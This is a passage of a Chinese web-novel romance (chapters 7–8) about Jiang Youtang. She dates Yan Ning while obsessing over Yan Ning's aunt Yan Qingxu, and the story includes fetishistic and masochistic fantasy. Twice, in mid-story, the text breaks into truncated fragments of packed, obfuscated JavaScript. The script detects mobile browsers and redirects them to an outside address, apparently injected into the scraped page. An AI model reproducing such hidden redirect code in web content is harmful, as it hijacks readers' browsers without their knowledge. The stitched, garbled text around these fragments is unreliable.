《抢了侄女的女朋友后》 7. 第 7 章 起身小心翼翼把被子拉起来,慢慢盖在晏宁身上。 “晏宁?”姜幼棠试着喊了一声,没听到回应,又喊:“晏宁?” 的的确确睡着了。 她抬手把床头柜上的小夜灯打开,再把大灯关掉。 “我先出去。”姜幼棠压低声音跟晏宁说。 轻手轻脚走到门口,回头望去,晏宁老老实实睡在被窝里。 姜幼棠放心了,合上门。 有点高度的皮鞋踩在干净明亮的地板上,发出沉闷的一声哒。 头稍稍往左边侧,目光锁定晏宁刚刚说的[晏清许的卧室]。 姜幼棠随手撩了下鬓边碎乱的发,直奔那间卧室。 过去后她把手缩在袖筒里,拽着衣角握住门把手。 轻轻一拧,便拧开了。 卧室里亮着,一副刚收拾好的模样,联想起晏清许说的已经差人收拾,那晏清许应该是还没进这间屋子。 慢慢走进去打量,人都在楼下客厅里,暂时不会有人上来,但偷偷潜进这里,姜幼棠还是有点害怕。 咔。 她又折回门口,把门反锁。 这下放心了。 嗅了嗅,屋子有淡淡的茶香,没有一丁点晏清许身上的味道,也没有什么东西。 也是,晏清许估计只在这里住一晚上,也不需要什么东西。 转来转去,最后站在衣柜前。 衣柜…… 容不得多想,姜幼棠拉开衣柜,里面挂着几件眼熟的衣服。 西装外套,裤子,衬衫,还有,孚乚罩。 三套西装,三件衬衫,三条孚乚罩。 孚乚罩随着打开衣柜的动作微微摇晃,她定定地看着,一颗被切开的青柠檬砸进眼里,半熟的苦和涩,把她淹没。 长大了却什么都不能做了,连喊一声姐姐都要道歉。 她咬着牙把三条孚乚罩扯下来拢在手心,忍着眼泪埋在上面深吸一口气。 时隔6年,她已经记不得晏清许的这里该是什么气味,粗糙的指腹摩挲着,她有点怕把它们弄坏了,再吸一口,小心还回去。 人被逼到某一种地步,是没有是非道德观念的。 姜幼棠不知道别人是什么样,反正,她自己是这样。 从决定接近晏宁时就开始了。 是非吗,道德吗,要这些,有用吗? 怕妆花了,她小心抹去眼角的泪,脱掉自己的绀色外套和马甲以及衬衫,紧接着扯下衣架上的唯一一件白衬衫套在自己身上,再把自己的衬衫挂上去。 穿好,收拾整齐,拧开门锁出门。 刚踏上走廊准备往晏宁的卧室走去,楼梯那处飘来一抹孤冷的月影。 哒哒。 姜幼棠停滞在原地,呆愣地看晏清许慢慢走过来。 瓷白的肤,像月亮裹了一层银白的纱,那头柔软的卷发掠到肩头,随着轻而缓的步子微微晃动,睫羽下的灰蓝眸子沉沉的,在一片死灰里灼烧。 那人就这样走来,海色的眼移到她身上,又移开,高跟鞋在卧室门口停下,不曾言语一句。 “姑姑。”姜幼棠拽了下衣服快步走过去。 晏清许没有回应她这句问好,手握在把手上准备开门进去。 姜幼棠不知道她为什么上来,也不想让她直接进去,抢先问:“姑姑,你怎么上来了?哦,那个,晏宁在睡觉,我出来转转。” 冷场一会儿,晏清许放在门把手上的手移开,身子往一旁错,和姜幼棠保持距离:“喝多了,有点困。” “好,我不打扰你。”怕遭嫌弃,姜幼棠不敢多说什么,攥着拳转过身。 转身走了几步,身后的人漫声问:“你不去家宴的话,怎么吃饭?宁宁跟后厨安排了吗?” 姜幼棠压下眉头摇头:“还没,我等她睡醒了再问。” “等她睡醒,都不知道什么时候了。”晏清许从门口移开身子,往楼梯那处走。 好像,没有被驱赶的感觉。 很平静,波澜不惊。 感知到这种近似善意的平静,姜幼棠转过身子跟上去。 “那,那我该怎么办?”她望着晏清许的背影问。 晏清许没吭声,自顾自踩着楼梯下楼往左拐,她便跟了过去。 走到一个小厅,晏清许平静地撂下一句话:“先等着。” 没等多久,一个端着托盘的女人跟晏清许一同进来。 托盘放下,是一顿简餐,胡椒猪肚鸡汤,一小碗米饭,一小盘蔬果。 下班之后一路赶到这里,什么东西都没进嘴里,到现在,仅仅闻着鸡汤的味道,嘴里便流口水了。 姜幼棠赶忙拿起勺子喝了几口汤,抬头喊了一声:“那个,姑姑……” 却只望见晏清许的背影。 门一开一合,晏清许从她视线里消失了。 姜幼棠起身追出去,穿过走廊来到客厅,看到晏清许跟那几个好友置身鼎沸的人群里,像雨天的白玫瑰,慢慢隐于模糊的视线。 算了。 姜幼棠往后退去,慢慢走回小厅,继续吃没吃完的饭。 今天她们说了很多句话,还穿走了一件衣服,她很幸福了。 今天没有饿肚子。 今天应该……没有被讨厌。 / 折回楼上,轻轻开门缓步移进去,屋内和走前一样安静。 晏宁还没醒,床头柜那处的小夜灯照旧亮着,姜幼棠走过去坐在床边,垂眼看晏宁的睡颜。 晏宁小小的脸颊上都是泪痕,眼角泛着红,眉头紧紧蹙着。 晏宁,你今天在伤心什么呢? 姜幼棠在心里问。 晏宁,你可以在这样的场合大喊大叫大哭,你可以在她面前胡闹,但我怎样都不能了。 我连和她更亲近点的资格都没有。 我真羡慕你,晏宁。 姜幼棠瘪着嘴,叹口气。 安静的时候总会胡思乱想,一个人的时候也会胡思乱想,只有工作时,或者身边热闹的时候,才会从纷乱的思绪里抽离出来。 但,但。 有时候越热闹,越想晏清许。 也会疑惑。 为什么呢,为什么会变成这样。 也会难过。 为什么呢,我们就这样了吗。 伸手拉了下被子给晏宁盖了盖,她坐在床沿看了会儿,打开手机。 伊晴发来信息。 伊晴:[明天10点到机场,我直接回我新家,你不用接我啦] 伊晴:[你公司定位发一下,我去你公司转转] 姜幼棠:[(欧瑞国际大厦定位)] 姜幼棠:[16楼,到时候你上来就好,我去电梯口接你] 姜幼棠:[辛苦你过来啊,我请你吃饭] 伊晴:[你加班才最辛苦啦,我请你好了,你下次再请我,别跟我客气啊] 伊晴:[好棠宝,乖啊,你推辞了我会不开心的] 姜幼棠:[(笑)] 姜幼棠:[知道了,不推辞,下次请你] 伊晴是姜幼棠大学室友,俩人睡头对头,一起上下课,一起用餐。伊晴家算是小资,日子过得舒舒服服,却还是会和姜幼棠一起去兼职打工。 大学毕业,伊晴回家料理自家公司,偶然做短视频博主火了,便直接转行博主,两年赚得够在枫城买房,前段时间姜幼棠还联系她推广了一下某个新品。 关掉手机,姜幼棠发呆。 不管是和大学室友,还是工作中结识的善良同事,或是,现在的晏宁,只要把握在手里的情谊足够真挚,她都十分珍惜。 珍重生命中真挚的情谊,晏清许这样教过她,她一直记着。 想跟晏清许说,你走后,你跟我说过的每句话我都记得。 想问问晏清许,你教了我那么多,为什么唯独没教过我怎么面对那样的离别。 发了一小会儿呆,被子被拱了起来。 姜幼棠回头望去,晏宁揉着眼睛慢慢起身。 “你醒了?”姜幼棠站起来问。 晏宁揉揉眼打了个哈欠,声音有点慵懒:“醒了,刚刚哭得我都困了。” 姜幼棠望着她打哈欠的动作,沉吟片刻问:“你心情好点了吗?我能提供什么帮助吗?” 晏宁耷拉着脑袋摇头:“不用麻烦你了,棠棠姐,本来把你叫到这里来就挺过意不去的,我姑姑又……哎……” 姜幼棠耳朵竖起来。 任何关于晏清许的事,她都格外敏感。 “你和你姑姑到底为什么关系不好?”姜幼棠坐在床沿问她,“你以前还没有跟我仔细讲过。” 晏宁坐在床上,身上盖着被子,被姜幼棠一问,陷入了回忆。 跟姑姑为什么关系不好?明明以前关系很好。 过了一会儿,晏宁慢慢开口:“我一直都把姑姑当我的榜样,像我这样拥有一众封建残余的家庭,男性生来就是继承者,女人只能作为商业的棋子,要外嫁,要联姻。即便拥有继承权,也从来不会手握大权。” “但我姑姑是一个非常有力量的女人,她从小就非常优秀,我的爸爸,我其他叔叔伯伯,都会把她当竞争者。她性格又十分差劲,严厉、苛刻、刻薄,所以很多亲戚都跟她关系一般般。” “我妈妈在我很小的时候去世了,我姑姑照顾我比较多。”说到这里,晏宁有些丧气,“我就是个小孩,没人在意我会长成什么样,他们会给我很多钱,宠爱我,却不会把我当一个竞争者。” “我不想要宠爱,不想成为他们眼中漂亮的小鸟,我也想像我姑姑那样厉害。我……我从小就很崇拜我姑姑,可是,可是……”晏宁转过脸对上姜幼棠的眼睛。 姜幼棠看到她眼中的泪水,两汪浊水,蜿蜒而下。 是啊,谁会不崇拜晏清许,谁不想追随晏清许。 姜幼棠从兜里抽出纸给晏宁熟练地擦眼泪,像给姜佑安擦眼泪一样。 晏宁低头喃喃:“可是6年前……6年前我姑姑出事了,她撞死了人,她坐牢了,我爸爸趁她锒铛入狱抢走了她的一切。这些我都知道,但我只是个小孩,我什么都做不了,我只能眼睁睁看着她入狱再出狱,和我渐行渐远。” 拿过纸,晏宁擦擦眼角,由衷道:“她比我大17岁,她都能当我妈了。不瞒你说,我其实……也一直把她当我妈妈的。” 把晏清许当妈妈啊。 姜幼棠咬着嘴唇没有接话。 如果不是因为目前这种复杂的关系,她可能会和晏宁聊上一整天。 “你也把她当妈妈啊。”姜幼棠低下头喃喃。 晏宁没听清:“什么?” 姜幼棠摇头,拍拍她的背说:“没有,我理解你。” 听到这句话,晏宁噙着眼泪笑出声:“棠棠姐,谢谢你理解我,你有时候说话做事很像我姑姑以前的样子,这也是我为什么愿意和你玩。” 仔仔细细瞧了眼姜幼棠,晏宁补充:“真的特别像。” 姜幼棠没什么心情讲这些,随口说:“是吗?可能是缘分吧。” 说出这些话,晏宁心情好受了许多,又感慨道:“之前我姑姑不理我之后,我难过得要死,我还以为我喜欢我姑姑,失恋了呢。” 听到晏宁这样说,姜幼棠整个人像是被针扎了。 还是扎在眼球上。 谈了个什么柏拉图恋爱,谈了个情敌是吧。 “什么?你喜欢姑姑?你不能这样,这是乱//伦。”姜幼棠抬高音量强调。 晏宁瘪嘴:“我不是说我以为吗?其实我以前还偷偷想过,跟她乱//伦也没什么,反正女人和女人又不会生小孩。” 天呐!怎么会有这样的人啊!晏宁是有病吗?! 姜幼棠气得站起来,手都在发抖:“宁宁,你脑子是坏了吗?什么不会生小孩,她是你姑姑!亲姑姑!!” “哎,你放心,我没那个胆子,我只想跟她关系好一点。可我一看到她抗拒我,我只会无比抗拒这样的她,她越教训我,我越想变成她讨厌的人。”晏宁撑着下巴,根本不觉得自己刚刚的言论多么惊骇世俗。 脑袋瓜转得太快,讲了晏清许几句,晏宁又赔着笑脸跟姜幼棠说:“那个,棠棠姐,我有点担心我嫂子,她最近被流感传染了,还有点发烧,我想去看看她。” 爱干什么干什么,姜幼棠被气得懒得管:“那你去看她吧。” “那你怎么办呢?你还没吃饭。”晏宁关心道,“我好像不是一个很负责的女朋友,你会怪我吗?” “我不怪你。”姜幼棠缓了一口气,说:“别担心我,我吃过了,姑姑带我吃的。” “姑姑居然会带你去吃饭?”晏宁有些讶异,“唔,我真羡慕你,你和她关系不像我和她那么差。” 姜幼棠欲言又止:“其实也没什么不同,我和她关系也不好。” 晏宁耸耸肩说:“我觉得你情商很高,你可以和她搞好关系的,就是到时候,你能不能帮我缓和一下我和她的关系?” 谁不想呢? 姜幼棠点点头:“我努力吧,好好工作就能让她对我观感好点。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832189|191196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晏宁拍自己的头笑道:“哎,我差点忘了你是她员工,你又要加班了,我到时候给你点奶茶好不好。” “不用了,我朋友会来找我吃饭。你去看你嫂子吧,记得联系张姐送我回去。”想着也没什么事,姜幼棠打算先走一步。 “好,我马上联系张姐。”晏宁赶忙起身,趿拉上拖鞋跟着姜幼棠往门口走,感慨道:“棠棠姐,你真好,你要是我亲姐姐就好了。” 姜幼棠思考了片刻。 她真要是晏宁姐姐,那不就是晏清许的亲侄女了? “那不行。”姜幼棠一口回绝,顺手揪了下白衬衫的领口,“我不想乱//伦。” / 回家后洗漱完,抱着衬衫翻来覆去,一夜没睡好。 不因为别的,单单晏宁几句话,都能让姜幼棠辗转反侧。 想到晏宁对晏清许不可明说的态度,心里那团火噌地一下蹿到脑门儿。 砰。 姜幼棠把手机摔在桌子上。 周六的部门空荡荡,手指随意拨弄两下额前的碎发,瞥一眼电脑屏幕上的案子,还有很多要修改。 算了,工作要紧。 姜幼棠深吸一口气,开始专心修改案子。 改着,下端的微信闪烁红光。 姜幼棠点开微信,是晏宁发来的消息。 晏宁:[棠棠姐,我找到了我和姑姑小时候的照片] 晏宁:[(图片)×20] 晏宁:[往事只能追忆了……] 皱着眉点开一张张图,姜幼棠握紧拳头查看。 年幼的晏宁被晏清许抱在怀里,亲昵得不得了。 肚子的那堆火从喉管里往外烧,越烧越旺,几乎要把她包裹住,烧得只剩骨架。 又挑衅? 她顾不上回消息,拿起手机把20张照片保存下来,转去美图秀秀把晏宁的脸抠下来,换成自己的脸,再把聊天记录和相册里那两人的合照删除。 成人的脸安在小孩身上实在怪异,看久了觉得毛骨悚然。 但姜幼棠心里爽了。 姜幼棠:[真好] 姜幼棠:[她以前经常带你出去玩呢] 晏宁:[是啊,好怀念她带我出去玩的日子] 晏宁:[过段时间我试着约她一起出去玩,你也跟我一起去好不好?] 有这好事? 姜幼棠坐直身子,快速打字。 姜幼棠:[行啊,能帮上你的忙就行] 放下手机靠在椅背上,竟觉得,枯燥的加班日轻松许多。 回过神来,手又放在键盘和鼠标上开始修改案子。 改得眼角发涩,视线移到屏幕右下角,11点20。 周末加班没有用餐时间的硬性要求,她刚刚联系过伊晴,伊晴估计12点整才到欧瑞楼下。 但现在她已无心工作。 发了会儿呆,起身走出去,站到电梯口。 鬼使神差地按了上行的按键,点击28楼。 28楼,总裁办公楼层。 是晏清许的领域。 电梯提示音响起:[28楼到了,28thfloor……] 噔。 白色运动鞋踏出电梯厢,慢慢落下脚步,目光落在门口处。 姜幼棠没有犹豫,走了进去。 她今天穿了白色冲锋衣外套,裤子也是白色。 天渐渐冷了,这时候正穿冲锋衣,她前两周买的这套衣服,今天第一次穿。 见好久没见的朋友,穿新衣服也是一种尊重。 走进去,整个28层都很安静,只剩她衣服摩擦的声音。 没有人吗? 站在走廊里,姜幼棠环顾四周。 好像确实没有人,没人也亮着灯,多浪费。 会不会那些人去吃饭了呢?姜幼棠又这样想。 她对这层楼不是很熟悉,边走边看玻璃门上的牌子。 走着,停在一处。 总裁办公室门口。 是这里了,晏清许的办公室。 停在门前,她没敢进去。 一是这间办公室肯定会被锁上,二是办公室里肯定有摄像头。 好奇心驱使她往前走了又走,最后像八爪鱼一样,整个人贴在玻璃墙上往里看。 只能看到磨砂玻璃墙,多余的,什么都看不到了。 真的看不到了吗? 姜幼棠用力往墙上贴,试图让眼珠子贴在玻璃墙上。 好吧,看不到,仍旧看不到。 索性放弃,转身走到窗边桌子旁坐下,继而趴在桌子上看那扇合得严严实实的门。 整座欧瑞国际大厦的外立面都是玻璃构成的,纤细的雨丝飘在玻璃幕墙上,轻柔柔的,又锋利得要把更深的秋日推过来。 窗外的雨在下着,心里的雨也在往下落。 她一动不动盯着那扇门,想象晏清许每天从那扇门里进进出出,开门关门。 16楼离28楼,真的太远了。 24岁的姜幼棠离36岁的晏清许太远了。 姜幼棠趴在桌子上,叹口气。 很快,视线里的那扇门动了下。 轻轻的一声响,门开了。 蓝得发白的衬衫,领口系着红色压花领带,外面是浅咖色西装外套,深咖色短裙,修长的腿被透着肉的黑色丝袜裹住,脚下是一双锋利的高跟鞋。 姜幼棠的眼睛往上看,映入眼帘的是深邃立体的五官,还有那双正看过来的灰蓝色眼睛。 剔透无比的眸子,凉得很,像喧嚣里缄默落下的碎雪,旁若无人地在粗粝的冷空气里下坠,发酵成一捧长着小刺的冰花。 “晏……”姜幼棠顾不上欣赏晏清许的美,慌慌张张起身,仓皇中改口:“姑姑……” 只喊了一声,晏清许快速关门沿着走廊朝前走去。 被忽视了。 自己又变成了空气。 姜幼棠快步跟上去,噔噔噔踩着地毯,大概走了五步,前面的晏清许停下。 姜幼棠适时停下脚步,不敢吭声。 片刻后,晏清许稍稍侧过脸淡淡地说:“我去吃饭。” 姜幼棠眨眨眼睛。 喔,晏清许是去吃饭。 //【选择时间】 --请帮姜幼棠做出选择-- A:跟上去,蹭饭 B:目送晏清许离开 C:跟晏清许说,自己有人约了 D:先回16楼工作 --请帮姜幼棠做出选择-- 8. 第 8 章 好像只是随口投掷了一句话,尾音落下,晏清许把脸侧回去继续往前走,再没有多言语。 姜幼棠默不作声地跟上。 运动鞋踏到电梯廊道,她盯着准备往总裁电梯方向走的晏清许,意识到今天不会再见面,快速追了半步:“我也去吃饭,不过我有约了,我朋友会来找我,那我先走了。” 说要走,却只是在原地站着,安静地看晏清许走远。 晏清许停下,回头瞄了姜幼棠一眼。 微垂的睫,唇线抿紧,似乎太过于紧张,身子也是微微佝着。前短后长的乌发在胸前落了几绺,洁白的冲锋衣太过宽松,套在身上像裹了一层厚厚的雾气。 这样瘦高的身子穿什么都好看,白皙的肤藏在碎乱的发下,那双漂亮的眼也被掩了一半,没什么精气神。 小孩子长大了,跟从前不一样,不过漂亮是真的漂亮,穿这一身衣服,活像只陨石边牧。 回过神,晏清许没搭话,踩着高跟鞋往总裁电梯走去。 姜幼棠看人走远泄了气,她该跟上去的,死皮赖脸蹭一顿饭也好过这种目送。 想着确实到饭点了,她按下行的电梯进去。 伊晴正好发来消息。 伊晴:[我马上就要到啦] 姜幼棠:[我也下楼了,等我] 数字变成1后,姜幼棠揣着白色工牌刷闸出去,刚出闸道往大门那里快步跑去,旁边窜出的人影瞬间把她搂住。 “棠棠!”伊晴不由分说地把姜幼棠揽在怀里抱了又抱,几个月不见,她想得很。 姜幼棠被揽得几乎窒息,摆着手说:“晴晴,我……被你勒得喘不过气了。” 伊晴仍旧揽着她,念叨着“好久不见”“好想你啊棠棠”。 姜幼棠视线一瞥,斜前方的晏清许正往这里走来。 一步,一步,又一步。 怎么往这里走? 高跟鞋的哒哒声挑起了心里的毛,挠得心里难受。 脑子里在这时胡思乱想了些东西,伊晴这样抱她,晏清许是不是以为她出轨了,准备替晏宁教训她? 想着,姜幼棠去推伊晴,身后传来一个陌生女人的声音。 “清许。” 姜幼棠下意识回头看,一身深灰西装的长直发女人微笑着走来,最后停在晏清许面前。 晏清许瞥了姜幼棠一眼,跟女人打招呼:“辛苦你来找我。” “反正也等了你那么多年,差这一会儿吗?再说,我从来不觉得等你辛苦。”女人的语气有些暧昧,晃晃手里的车钥匙,“餐厅订好了,我车就停在附近,走。” 说罢,两人并肩往门口走去。 这又是哪个女人? 姜幼棠快速推开怀里的伊晴,小跑着朝晏清许的背影喊道:“姑姑,你要去哪里吃饭?” 陌生女人停下脚步,瞄了晏清许一眼,再转向姜幼棠,问:“你是在喊清许吗?” “是。”姜幼棠温和笑笑,往晏清许身后站,又喊了一声:“姑姑,我也要带我朋友吃饭,你有推荐的地方吗?” 女人定定看了姜幼棠几眼,同晏清许奇怪道:“我怎么没见过你这个侄女?” 晏清许缓缓转过身子,低垂着灰蓝的眸,几不可闻地叹口气,稍显疏离道:“不是我侄女,是宁宁的女朋友,昨天你来的时候她已经和宁宁上楼了。” 女人恍然大悟:“哦,是小姜。” 晏宁出柜这件事,圈内知道的不少,但知道晏宁女友身份的不算太多。 谁都喜欢看热闹,晏霖森女儿哭着闹着出柜这种热闹,更是要看个尽兴。 “你好,小姜,我叫顾念,是……”顾念主动介绍完自己,尖锐的眼掠过晏清许的脸,唇角上扬:“我是清许的追求者,我已经追了她好多年,可惜清许太难追了。” 晏清许不想聊这种话题,抬起高跟鞋往门口走,冷冷淡淡撂下一句话:“我没有推荐的地方。” “怎么说都喊你一声姑姑,还是要多关照些。”顾念没跟着晏清许往前走,折到姜幼棠身边邀请起来,“小姜,跟我们一起用餐,好不好?” 伊晴看情况不对,晏清许摆明没有邀请的意思,拉扯姜幼棠的冲锋衣准备阻止。 姜幼棠点点头:“谢谢你,顾念姐姐。” 旋即拉了下伊晴的衣角,说:“走,晴晴,跟她们一起去吃饭。” 伊晴愕然。 还以为姜幼棠会推辞。 难道打工打久了,脸皮也会变厚? 餐厅订在解香楼,米其林星级餐厅,姜幼棠坐下看菜单时,想着跟过来是对的。 贵。 换伊晴请她吃,她不大舍得。 落座的位置着实不好,晏清许在她斜对面,似乎很忙,除了与顾念聊天,便是看手机。 姜幼棠不好多插嘴,拿起手机准备搜索聊天技巧,伊晴撑着下巴问:“棠棠,过几天天晴了,跟我去灵隐寺上炷香行不行?我们上一次去还是在大三,想跟你再去一次。” “行啊。”姜幼棠忙应下了,“我不加班的话就去,下个月也是赏枫的最佳季节,我们还可以再去一次。” 顾念听了同晏清许说:“灵隐寺?我也有这个计划,清许,我有这个荣幸邀请你吗?” 姜幼棠的视线顺势转到晏清许脸上,用力看了一眼,偏过头,不再看。 “这个月有很多事要忙,集团周年庆,可能没什么时间。”晏清许垂下头继续看手机,“下个月有空。” 顾念:“行,那我下个月约你。” 几人暂时安静了片刻,姜幼棠低头在大地瓜上搜索聊天技巧时,晏清许又出声:“宁宁这几天不开心,你多陪陪她。” 顾念和伊晴望向姜幼棠。 姜幼棠闻声抬头,晏清许垂首看手机,一绺发垂在胸前,继续补充:“多关心她,毕竟你是她女朋友。” 话里有话,一种变相的批评。 比如旁若无人和其她女人拥抱,比如和其她女人有约。 “好。”姜幼棠马上应下,“我知道了,姑姑。” 晏清许没接话。 多说了两句话,却没那么开心。 姜幼棠放下手机,知道没有再主动搭话的必要。 没有被关注,她仍旧是不被在意的空气。 用完餐,姜幼棠跟在晏清许身后走出去。 冲锋衣拉锁拉到最高,掩了大半张脸,手插兜里跟着晏清许往前走,一副冷酷的姿态。 目光落在晏清许的背影上,从前,她习惯注视晏清许的背影,现在长大了,还是没有改变。 脑子混混沌沌走了一路,都不知道什么时候把晏清许跟丢了。 回过神来,伊晴张开双臂揽住姜幼棠:“好啦棠棠,跟你蹭了一顿大餐,别忘记我们的约定,等我……” “下个月吧,晴晴。”姜幼棠轻轻推开她,“我看了下这个月的工作,还挺忙的。” 伊晴张张嘴,望着姜幼棠心不在焉的模样,撇嘴道:“我看你是想陪你女朋友,重色轻友的家伙。” 姜幼棠顺着说:“那我也没办法,她出柜之后跟家里闹得很难看。” 伊晴拍拍她肩膀叹道:“好啦,知道啦,你单身那么多年谈个恋爱不容易,你先陪她,等你有空了来找我。” “谢谢你,晴晴。”姜幼棠由衷道。 / 思虑过多,休息不是特别好。周一早上醒来时昏昏沉沉的,到工位上头还有些晕。 姜幼棠趴在桌子上休息了会儿,醒来听到部门的人在讨论周年庆的事。 姜幼棠没有心情关注这个,除了能在周年庆上看到晏清许,其它的她不想多关心。 临近中午,叶知允在群里发了一个通知,是关于一年一度全国策划大赛的。 姜幼棠之前在星美也参加过这种策划大赛,得了个平平无奇的二等奖。 一个新手能得二等奖,原因无他,优质平台占了很大一部分优势。 圈内人的狂欢罢了,有参加比赛的时间,她都提前做完一周的工作了。 没有意义。 “哎,这次策划大赛,晏总会亲自监管?”周恩灿盯着电脑屏幕上的通知讶异道,被大boss监管,她没有那个自信,“啊,好吧,那我还是不参加了。” 退出消息界面,周恩灿瞥见姜幼棠起身出去,再回来时,手里拎着两张A4纸。 全国策划大赛的报名表。 周恩灿好奇地靠过去问:“棠棠姐,你要参加?” “哦,是啊。”姜幼棠抄起笔快速填写申请表,头也不抬道,“我以前参加过,有经验。” 周恩灿没看清姜幼棠写了什么,两句话的功夫,这人已经写完交到叶知允桌子上。 走回工位,姜幼棠对上周恩灿讶异的目光,问:“怎么了?” 周恩灿摇摇头,脸上堆起笑容:“没什么,就是觉得你做事很认真。” “认真做事不好吗?”姜幼棠问。 周恩灿小鸡啄米般点头,“好,当然很好,只是很少见像你这样认真对待工作的,毕竟给资本家打工,都是打黑工。” 姜幼棠收拾了一下笔,继续忙工作:“事情是做给自己看的,要问心无愧,觉得被压榨就偷忓耍滑,敷衍应付,说到底,糊弄的还是自己。本事没长进,哪天想往前走,却发现是死路一条,何必呢?” 周恩灿抹了一下头顶的汗。 晏总这个冷酷的资本家听了姜幼棠的话都会落泪吧! “你说得很有道理,糊弄自己确实挺没劲的。”周恩灿收起玩笑的神色。 临下班前,姜幼棠百忙之中点开晏宁的微信消息。 晏宁:[棠棠姐,我想这周末去我姑姑家一趟,我自己一个人不敢] 晏宁:[你可以陪我一起去吗?就一起去她家吃顿饭,我还给她准备了小礼物,希望能讨她开心] 姜幼棠右侧眉毛挑起。 去晏清许家里吃饭?有这种好事? 姜幼棠:[行] 带着期待捱到周五,晚上十点半,姜幼棠检查完所有案子,伸了个懒腰。 明天要跟晏宁去晏清许家吃饭了,想想就很开心。 越想越觉得,今晚难以入眠。 揉揉头,收拾完东西站起来准备走,叶知允开门进来笑呵呵问:“亲爱的,要下班了?” “嗯,都做完了,下班了。”怕赶不上地铁,姜幼棠挪了挪椅子侧身出去。 叶知允叫住她:“亲爱的,明天再来加一次班吧,你申请了参加策划大赛,下周是集团周年庆,你不加班的话,所有事情堆在一起不好安排呢。” 姜幼棠攥住挎包的带子,抿了抿唇转身道:“我会做好我的工作安排,组长,你不用担心。” “亲爱的,你不要那么自信,这次的策划大赛至关重要,你兼顾不了,把案子做得一团糟,晏总会生气的。”叶知允上前一步说,“她生气的话,不会给你留尊严,你绝对受不了她的羞辱。” 晏清许,会生气?会羞辱她? 姜幼棠顿住。 海水渐渐越过头颅,她的头脑被泡得发白,有什么东西在诡异地膨胀,好似一个散发着恶臭的巨人观。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832190|191196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要惹晏清许生气吗? 惹晏清许生气后,会得到情绪饱满到爆炸的羞辱吗? 短暂的空白里,她陷进想象。 生气的晏清许把文件夹扔在她脸上,对她说粗鄙的词语;或是,当众厉声苛责她,指责她真是一条蠢笨得要死的狗,什么烂创意都敢拿出来。 又或是,在只有两人存在的办公室里,脸被按在桌子上的电脑键盘上,领带勒得她喘不过气,她流着眼泪求救,晏清许抓着她的头发骂她真是笨得不如去死,做出这样的案子是想要丢欧瑞的脸吗? 被晏清许挂在嘴边吗?被晏清许触碰身体吗?被晏清许在意是吗?被晏清许看在眼里,记在心里,无论怎样都忽视不了吗? 被辱骂,好过被无视。 被责罚,好过被无视。 被打,好过被无视。 没有情绪的无视,她怎能,她怎能受得了? 她真的已经受够了。 她受够被晏清许当空气了。 晏清许,我和你接过吻,我和你做过爱,我被你当女儿抚养过,你怎么能,把我当空气。 你怎么能,你怎么能一直无视我…… 你不能无视我,你必须看见我,你必须对我有情绪,你必须…… 在意我。 她兀自笑出声,太过愉悦让她在这个环境下看起来太过奇怪,只好压下眉毛跟叶知允说:“总要试试嘛,知允姐,别担心,我受得住。” 说完,踩着运动鞋出部门。 一夜睡得很好。 好到做了一个好梦。 梦见做了一个非常差劲的案子,晏清许被气得甩她一巴掌,还甩了一张辞退书。 她抱住晏清许的腿求她不要开除自己,晏清许俯身掐住她的脖子说:“姜幼棠,你求我,就要像狗一样对我摇尾巴。” 她跪在地上,眼中含着热泪,嘴角好似要咧到天边,愉悦地叫喊:“汪!” 汪! 啊。 真是个好梦。 她摸着自己的脖子,怅然若失。 为什么不是真的。 六年不见,她连晏清许的手都没摸过。 好想触碰晏清许,好想被晏清许触碰。 思绪翻滚的时候,晏宁发来消息。 晏宁:[我起床了,等我去接你] 姜幼棠:[好] 敲完字,快速起身开始收拾。 打开衣柜找到肉色丝袜、短裙,以及一件紧身针织衫,再扒一下,找到卡其色的风衣,化完精致的妆穿上衣服,套上靴子。 去镜子那处看了看,双腿修长,紧身针织衫裹着姣好的曲线,今天的妆容也是偏粉的,整体和平时的社畜风有很大的区别,简直两模两样。 嗯……应该是有点吸引力的? 晏宁来接的时候,姜幼棠看到晏宁两眼忽然放光,确定自己是有吸引力的。 平时晏宁对她无感,头一次眼睛放光。 “棠棠姐,你今天……好漂亮。”晏宁有点移不开眼。 姜幼棠绕到后座另一侧坐进去,道:“跟你一起约会,肯定要打扮一下。” 晏宁瘪着嘴坐到后座,哪有这样的,以前约会可没打扮成这样。 目的地,中海御道,一路,姜幼棠都在低头看手机。 虽说不加班,但心还是在工作上。 余光瞥到晏宁望过来,姜幼棠熄灭手机问:“怎么了?有事?” 晏宁挠挠头道:“啊,没事,就是看你今天打扮得很漂亮,想多看两眼。” 姜幼棠淡淡地哦了一声,继续低头看手机,“宁宁,我要忙会儿工作。” “啊,好吧。”晏宁没再继续搭话。 到达目的地,姜幼棠下车关门,眺望远方。晏清许住的中海御道毗邻钱塘江,一线江景,视野极好。 跟着上楼,晏宁按下门铃。 开门的是照顾晏清许生活的王姨,见晏宁来,先邀人进来:“二小姐,晏总她出门了,还要过一会儿才回来,您先进。” “她什么时候回来啊,我跑来找她她还不在家等我。”晏宁气鼓鼓地走进去。 姜幼棠观察这套房子,大平层,白墙白色沙发,偶有几处黑色的布置,那股冷感扑面而来。 两人坐在沙发上,王姨上了茶。 姜幼棠捧起茶嗅了嗅,但对茶不敏感,嗅不出什么名堂。 王姨介绍:“这是白毫银针,晏总喜欢喝白茶。” 姜幼棠抿了一口,清雅的鲜笋香,甘甜清新。 